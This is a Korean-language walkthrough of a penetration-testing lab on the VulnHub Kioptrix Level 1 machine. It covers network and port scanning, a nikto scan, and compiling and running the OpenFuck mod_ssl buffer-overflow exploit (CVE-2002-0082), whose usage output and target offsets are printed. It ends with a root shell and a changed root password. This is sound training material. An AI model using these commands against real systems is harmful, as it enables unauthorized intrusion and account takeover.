kioptrix Level 1 문제풀이 | 모의해킹 실습

서버구성

vulnhub웹사이트에서 제공하는 모의해킹 시스템중 하나인 kioptrix level1을 사용하여 모의해킹을 진행해 보겠습니다

vmware환경에서 kioptrix level 1 머신과 kali linux를 구동 중이며 kali linux에서는 NAT 네트워크 환경을 사용 중이며 kioptrix level 1은 브릿지환경으로 구성해 주었습니다

 

kioptrix 가상머신을 실행하면 로그인을 요구합니다

 

 

먼저 kioptrix의 아이디와 패스워드를 알아내야 하는데, 칼리리눅스와 같은 네트워크에 있는 kioptrix 가상머신의 아이피 정보 수집을 위해 현재 네트워크 대역대를 스캔해야 합니다 

 

네트워크 스캔을 위해 ifconfig명령을 통해 칼리리눅스의 아이피주소를 확인해보니, 192.168.253.x 대역대를 스캔하면 취약시스템의 아이피주소를 확인할 수 있습니다

 

 

 

네트워크 스캔으로 취약점머신 ip주소 찾기

netdiscover도구를 사용하면 현재 네트워크 대역대를 스캔하는데 192.168.x.0부터 스캔하기 때문에 넓은 아이피 대역대를 스캔하여 네트워크내 다른 숨겨진 시스템을 찾는 정확도는 높지만 그만큼 스캔시간이 오래 걸립니다 kioptrix 모의해킹 시스템이 같은 아이피 대역대에 할당된다는 사실을 알기 때문에 스캔범위를 192.168.253.0부터 255까지 직접 지정하여 스캔하겠습니다

 

 

netdiscover를 사용하여 네트워크를 스캔할 건데 -r옵션을 주어 192.168.233.0부터 192.168.233.255까지 스캔합니다

255까지 스캔을 하는데 뒤에 0/255가 아니라 24인 이유에 관해 궁금하시면  '24'의 의미에 관한 포스팅글을 참고해 주세요

 

 

현재 칼리리눅스 네트워크 아이피대역에 다른 vmware들의 아이피대역이 잡히는 걸 확인할 수 있습니다

kioptrix도 vmware로 열었으니까 그러면 이 중 하나일 텐데 뒤에 주소 1, 2, 254는 제가 사용하고있는 다른 운영체제의 가상머신 ip주소이므로 이들을 제외한 192.168.253.154의 내용을 조금 더 조사해 보겠습니다

 

 

 

의심 IP 정보 수집

nmap을 사용하여 해당 아이피의 더 자세한 내용을 조사하기 위해  nmap -sV -O -sS 192.168.253.154 명령을 수행해 보겠습니다

 

nmap 명령옵션

모든 옵션은 대소문자 구분 필수

-O | 운영체재 정보까지 출력
-sV | 사용 중인 포트의 서비스와 버전정보 출력
-sS | SYN Stealth 스캐닝방법으로 3way-Handshake가 완료되기 이전에 RST로 접속을 끊어버려서 로그를 남기지 않음

 

 

의심 Ip 네트워크 포트 스캔결과

일단 22,80,111,139,443,1024 포트가 열려있는데 서비스 목록을 보면 80 포트로 아파치 1.3.0.20 버전으로 http 웹페이지가 실행 중인걸 확인할 수 있습니다

해당 아이피의 OS정보를 확인해 보면 Linux 2.4.x버전인걸 확인하였습니다

열려있는 포트로 사이트를 접속해 보겠습니다

 

 

http://192.168.253.154/ 아이피주소로 웹페이지를 접속해 보니깐 아파치서버가 동작중인걸 확인할 수 있습니다

현재 실행 중인 kioptrix level 1 머신의 아이피주소가 맞았습니다

 

 

 

취약점 찾기

웹 취약점 스캐너인 nikto툴을 이용하여 웹 서버에 대한 정보와 취약점을 스캔해 보겠습니다

nikto - h url 명령어를 통하여 취약점을 스캔해 주세요

 

 

생각보다 서버에 많은 양의 취약점이 존재하는데요

mod_ssl 2.8.4 ~ modl_ssl 2.8.7 사이에서 버퍼오버플로우 공격이 가능한 원격 shell연결이 가능한 mod_ssl 2.8.4 exploit 취약점을 검색해보겠습니다

 

 

 

exploit파일 다운로드하기

exploitdb 사이트를 통해서 CVE 2002-0082 취약점을 검색한 결과입니다 mod_ssl이라고해도 나오는데 아까 2.8.4~2.8.7이라고했으니 인증된 파일 중에 비교적 최근에 업데이트된 사진상에 표시된 Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)를 사용하려고 했으나 파일이 오래되었고 컴파일에 문제도 있어서 검색해 본 결과 mod_ssl_2.8.7버전 코드의 업그레이드버전인 github에 올라온 파일을 사용하기로 하였습니다

 

 

해당 익스플로잇을 다운로드하여보겠습니다

 

해당 파일을 컴파일하기 위하여 libssl-dev 라이브러리가 필요합니다

아래 명령으로 터미널에서 설치해 주세요

apt-get install libssl-dev

 

 

 

exploit 컴파일하기

다운로드할 c언어 파일을 컴파일하기 위해 gcc명령을 사용하겠습니다

기본적인 gcc 명령어의 사용방법은 gcc -o 저장될 파일 대상파일입니다

 

다만 CVE-2002-0082 해당 익스플로잇 파일의 경우 위와 같이 컴파일할 경우에는 오류가 발생합니다

 

 

소스코드에도 주석처리가 되어있는데 개발자가 보기 좋게 만들어둔 README파일을 확인해 보면 컴파일 시에는 -lcrypto 옵션을 주어 컴파일한다고 명시되어 있습니다 해당 코드를 복사하여 그대로 컴파일해 보겠습니다

728x90

 

파일이 정상적으로 컴파일되었습니다 컴파일된 파일을 실행해 주세요

 

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

: Usage: ./OpenFuck target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)
  

  Supported OffSet:
        0x00 - Caldera OpenLinux (apache-1.3.26)
        0x01 - Cobalt Sun 6.0 (apache-1.3.12)
        0x02 - Cobalt Sun 6.0 (apache-1.3.20)
        0x03 - Cobalt Sun x (apache-1.3.26)
        0x04 - Cobalt Sun x Fixed2 (apache-1.3.26)
        0x05 - Conectiva 4 (apache-1.3.6)
        0x06 - Conectiva 4.1 (apache-1.3.9)
        0x07 - Conectiva 6 (apache-1.3.14)
        0x08 - Conectiva 7 (apache-1.3.12)
        0x09 - Conectiva 7 (apache-1.3.19)
        0x0a - Conectiva 7/8 (apache-1.3.26)
        0x0b - Conectiva 8 (apache-1.3.22)
        0x0c - Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)
        0x0d - Debian GNU Linux (apache_1.3.19-1)
        0x0e - Debian GNU Linux (apache_1.3.22-2)
        0x0f - Debian GNU Linux (apache-1.3.22-2.1)
        0x10 - Debian GNU Linux (apache-1.3.22-5)
        0x11 - Debian GNU Linux (apache_1.3.23-1)
        0x12 - Debian GNU Linux (apache_1.3.24-2.1)
        0x13 - Debian Linux GNU Linux 2 (apache_1.3.24-2.1)
        0x14 - Debian GNU Linux (apache_1.3.24-3)
        0x15 - Debian GNU Linux (apache-1.3.26-1)
        0x16 - Debian GNU Linux 3.0 Woody (apache-1.3.26-1)
        0x17 - Debian GNU Linux (apache-1.3.27)
        0x18 - FreeBSD (apache-1.3.9)
        0x19 - FreeBSD (apache-1.3.11)
        0x1a - FreeBSD (apache-1.3.12.1.40)
        0x1b - FreeBSD (apache-1.3.12.1.40)
        0x1c - FreeBSD (apache-1.3.12.1.40)
        0x1d - FreeBSD (apache-1.3.12.1.40_1)
        0x1e - FreeBSD (apache-1.3.12)
        0x1f - FreeBSD (apache-1.3.14)
        0x20 - FreeBSD (apache-1.3.14)
        0x21 - FreeBSD (apache-1.3.14)
        0x22 - FreeBSD (apache-1.3.14)
        0x23 - FreeBSD (apache-1.3.14)
        0x24 - FreeBSD (apache-1.3.17_1)
        0x25 - FreeBSD (apache-1.3.19)
        0x26 - FreeBSD (apache-1.3.19_1)
        0x27 - FreeBSD (apache-1.3.20)
        0x28 - FreeBSD (apache-1.3.20)
        0x29 - FreeBSD (apache-1.3.20+2.8.4)
        0x2a - FreeBSD (apache-1.3.20_1)
        0x2b - FreeBSD (apache-1.3.22)
        0x2c - FreeBSD (apache-1.3.22_7)
        0x2d - FreeBSD (apache_fp-1.3.23)
        0x2e - FreeBSD (apache-1.3.24_7)
        0x2f - FreeBSD (apache-1.3.24+2.8.8)
        0x30 - FreeBSD 4.6.2-Release-p6 (apache-1.3.26)
        0x31 - FreeBSD 4.6-Realease (apache-1.3.26)
        0x32 - FreeBSD (apache-1.3.27)
        0x33 - Gentoo Linux (apache-1.3.24-r2)
        0x34 - Linux Generic (apache-1.3.14)
        0x35 - Mandrake Linux X.x (apache-1.3.22-10.1mdk)
        0x36 - Mandrake Linux 7.1 (apache-1.3.14-2)
        0x37 - Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)
        0x38 - Mandrake Linux 7.2 (apache-1.3.14-2mdk)
        0x39 - Mandrake Linux 7.2 (apache-1.3.14) 2
        0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
        0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
        0x3c - Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)
        0x3d - Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)
        0x3e - Mandrake Linux 8.0 (apache-1.3.19-3)
        0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
        0x40 - Mandrake Linux 8.2 (apache-1.3.23-4)
        0x41 - Mandrake Linux 8.2 #2 (apache-1.3.23-4)
        0x42 - Mandrake Linux 8.2 (apache-1.3.24)
        0x43 - Mandrake Linux 9 (apache-1.3.26)
        0x44 - RedHat Linux ?.? GENERIC (apache-1.3.12-1)
        0x45 - RedHat Linux TEST1 (apache-1.3.12-1)
        0x46 - RedHat Linux TEST2 (apache-1.3.12-1)
        0x47 - RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)
        0x48 - RedHat Linux 4.2 (apache-1.1.3-3)
        0x49 - RedHat Linux 5.0 (apache-1.2.4-4)
        0x4a - RedHat Linux 5.1-Update (apache-1.2.6)
        0x4b - RedHat Linux 5.1 (apache-1.2.6-4)
        0x4c - RedHat Linux 5.2 (apache-1.3.3-1)
        0x4d - RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)
        0x4e - RedHat Linux 6.0 (apache-1.3.6-7)
        0x4f - RedHat Linux 6.0 (apache-1.3.6-7)
        0x50 - RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)
        0x51 - RedHat Linux 6.0 Update (apache-1.3.24)
        0x52 - RedHat Linux 6.1 (apache-1.3.9-4)1
        0x53 - RedHat Linux 6.1 (apache-1.3.9-4)2
        0x54 - RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)
        0x55 - RedHat Linux 6.1-fp2000 (apache-1.3.26)
        0x56 - RedHat Linux 6.2 (apache-1.3.12-2)1
        0x57 - RedHat Linux 6.2 (apache-1.3.12-2)2
        0x58 - RedHat Linux 6.2 mod(apache-1.3.12-2)3
        0x59 - RedHat Linux 6.2 update (apache-1.3.22-5.6)1
        0x5a - RedHat Linux 6.2-Update (apache-1.3.22-5.6)2
        0x5b - Redhat Linux 7.x (apache-1.3.22)
        0x5c - RedHat Linux 7.x (apache-1.3.26-1)
        0x5d - RedHat Linux 7.x (apache-1.3.27)
        0x5e - RedHat Linux 7.0 (apache-1.3.12-25)1
        0x5f - RedHat Linux 7.0 (apache-1.3.12-25)2
        0x60 - RedHat Linux 7.0 (apache-1.3.14-2)
        0x61 - RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)
        0x62 - RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)
        0x63 - RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)
        0x64 - RedHat Linux 7.1 (apache-1.3.19-5)1
        0x65 - RedHat Linux 7.1 (apache-1.3.19-5)2
        0x66 - RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)
        0x67 - RedHat Linux 7.1-Update (1.3.22-5.7.1)
        0x68 - RedHat Linux 7.1 (apache-1.3.22-src)
        0x69 - RedHat Linux 7.1-Update (1.3.27-1.7.1)
        0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
        0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
        0x6c - RedHat Linux 7.2-Update (apache-1.3.22-6)
        0x6d - RedHat Linux 7.2 (apache-1.3.24)
        0x6e - RedHat Linux 7.2 (apache-1.3.26)
        0x6f - RedHat Linux 7.2 (apache-1.3.26-snc)
        0x70 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)1
        0x71 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)2
        0x72 - RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)
        0x73 - RedHat Linux 7.3 (apache-1.3.23-11)1
        0x74 - RedHat Linux 7.3 (apache-1.3.23-11)2
        0x75 - RedHat Linux 7.3 (apache-1.3.27)
        0x76 - RedHat Linux 8.0 (apache-1.3.27)
        0x77 - RedHat Linux 8.0-second (apache-1.3.27)
        0x78 - RedHat Linux 8.0 (apache-2.0.40)
        0x79 - Slackware Linux 4.0 (apache-1.3.6)
        0x7a - Slackware Linux 7.0 (apache-1.3.9)
        0x7b - Slackware Linux 7.0 (apache-1.3.26)
        0x7c - Slackware 7.0  (apache-1.3.26)2
        0x7d - Slackware Linux 7.1 (apache-1.3.12)
        0x7e - Slackware Linux 8.0 (apache-1.3.20)
        0x7f - Slackware Linux 8.1 (apache-1.3.24)
        0x80 - Slackware Linux 8.1 (apache-1.3.26)
        0x81 - Slackware Linux 8.1-stable (apache-1.3.26)
        0x82 - Slackware Linux (apache-1.3.27)
        0x83 - SuSE Linux 7.0 (apache-1.3.12)
        0x84 - SuSE Linux 7.1 (apache-1.3.17)
        0x85 - SuSE Linux 7.2 (apache-1.3.19)
        0x86 - SuSE Linux 7.3 (apache-1.3.20)
        0x87 - SuSE Linux 8.0 (apache-1.3.23)
        0x88 - SUSE Linux 8.0 (apache-1.3.23-120)
        0x89 - SuSE Linux 8.0 (apache-1.3.23-137)
        0x8a - Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)

Fuck to all guys who like use lamah ddos. Read SRC to have no surprise

./OpenFuck 명령을 통해 컴파일된 익스플로잇을 실행해 보면 이런 내용이 터미널에 표시됩니다

 

 

Usage: ./OpenFuck target box [port] [-c N]

출력된 내용을 확인해 보면 이렇게 사용옵션과 명령이 나와있습니다

각각의 옵션은 아래와 같습니다

target = exploit 버전종류

box = 대상 IP

[port] = 포트번호

[-c N] = N개의 오픈 연결 개수

 

아까 nikto로 취약점을 찾을 때 취약점 목록 중에 아파치 1.3.20 취약점이 있었습니다

 

여러 개의 취약점의 버전 중 apache-1.3.20 취약점을 이용해 보겠습니다

자세히 보면 사진에 표시된 영역 위에 같은 버전인데 1과 2 두 개가 있는 걸 확인할 수 있습니다

자세히는 모르겠으나 1 버전으로 실행 시 실패하여 2 버전을 실행해 봤더니 성공하였습니다 그래서 사진에 표시된 파일로 진행하겠습니다

 

 

명령 옵션을 참고하여./OpenFuck 0x6b 192.168.253.154 -c 40 로 명령어를 실행하겠습니다 -c 옵션의 경우 잘 모르는 경우 40-50 범위를 권장하고 있습니다

 

 

정상적으로 원격쉘에 연결되었습니다 명령을 입력해 보겠습니다

 

 

명령이 정상 수행합니다

이제 다시 처음으로 돌아와서 시스템에 접근하기 위해서는 로그인이 필요했는데 로그인에 필요한 아이디를 확인하고 암호를 변경해 봅시다

 

 

 

대상 로그인정보 얻기

id명령을 통해 로그인가능한 사용자명을 수집합니다

 

이제 패스워드를 설정해 봅시다

 

비밀번호 변경을 위해 passwd명령을 실행한 뒤에 loginpw로 비밀번호를 변경하였습니다

 

 

 

Kioptrix Level 1 로그인

다시 Kioptrix 가상머신으로 돌아와 root계정으로 로그인해 봅시다

아까 설정한 비밀번호를 입력하니 성공적으로 로그인이 되었습니다

 

whoami명령어도 제대로 수행됩니다

 

Top